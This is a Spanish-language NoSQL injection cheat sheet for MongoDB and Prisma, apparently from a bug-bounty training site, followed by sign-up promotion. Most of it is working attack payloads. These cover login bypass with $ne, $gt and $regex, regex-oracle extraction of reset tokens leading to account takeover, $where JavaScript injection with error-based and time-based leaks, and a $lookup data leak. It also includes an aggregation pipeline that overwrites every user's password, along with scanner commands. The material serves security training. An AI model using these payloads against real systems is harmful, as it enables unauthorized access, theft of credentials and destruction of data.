Cheatsheet NoSQL Injection
Inyeccion NoSQL (MongoDB)
Referencia rápida
- →Probar siempre operadores $ne, $gt, $regex en parametros de login como primer test
- →$regex permite extraccion caracter por caracter - ideal para tokens y passwords
- →Error-based extraction con $where: forzar throw para incluir datos sensibles en el error
- →$lookup en aggregation pipeline permite hacer JOIN y leer otras colecciones
- →Prisma ORM: findFirst() es vulnerable a inyeccion de operadores, findUnique() no
Bypass de autenticacion
URL format - $ne
username[$ne]=toto&password[$ne]=toto
URL format - $regex
username[$regex]=.*&password[$regex]=.*
URL format - $exists
username[$exists]=true&password[$exists]=true
JSON - $ne null
{"username": {"$ne": null}, "password": {"$ne": null}}JSON - $ne string
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}JSON - $gt undefined
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}JSON - $gt empty
{"username": {"$gt": ""}, "password": {"$gt": ""}}Inyeccion de operadores
Not equals
username[$ne]=1&password[$ne]=1
Regex match
username[$regex]=^adm&password[$ne]=1
Regex longitudDeterminar longitud del campo
username[$regex]=.{25}&pass[$ne]=1Equals
username[$eq]=admin&password[$ne]=1
Less than
username[$ne]=admin&pass[$lt]=s
Greater than
username[$ne]=admin&pass[$gt]=s
Not in array
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7
$in con multiples usuarios
{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}$regex oracle - extraccion caracter por caracter
Extraer primer caracterSi respuesta es diferente, el campo empieza con A
{"token": {"$regex": "^A"}}Extraer segundo caracterContinuar: ^Ab, ^Ac, ... hasta match
{"token": {"$regex": "^Ab"}}Password reset token leak
1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATOBinary search optimizadoReducir de ~127 a ~7 queries por caracter usando rangos binarios
{"password": {"$regex": "^[a-m]"}}$where y JavaScript injection
$where basico
' || 1==1//
$where con null byte
' || 1==1%00
$where equals
'=='
Error-based extractionEl error message incluye el valor secreto
{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}Time-based injection
admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'Sleep-based
';sleep(5000);
Inyeccion en aggregation pipeline
$lookup - JOIN para leak data
[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]$out - sobrescribir coleccionSobrescribe passwords de toda la coleccion
[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]Prisma findFirst bypassfindFirst es vulnerable, findUnique no
{"username": {"not": "admin"}, "email": {"startsWith": "a"}}Herramientas
NoSQLMap
Herramienta automatizada de NoSQL injection para MongoDB
python3 nosqlmap.py -u https://target.com/login -p username,password
nosqli
Scanner CLI de NoSQL injection con multiples tecnicas
nosqli scan -t https://target.com/api/login
Burp Suite + NoSQLi extension
Extension de Burp para deteccion automatica de NoSQL injection
Burp > Extensions > NoSQL Injection
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras
La comunidad
Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.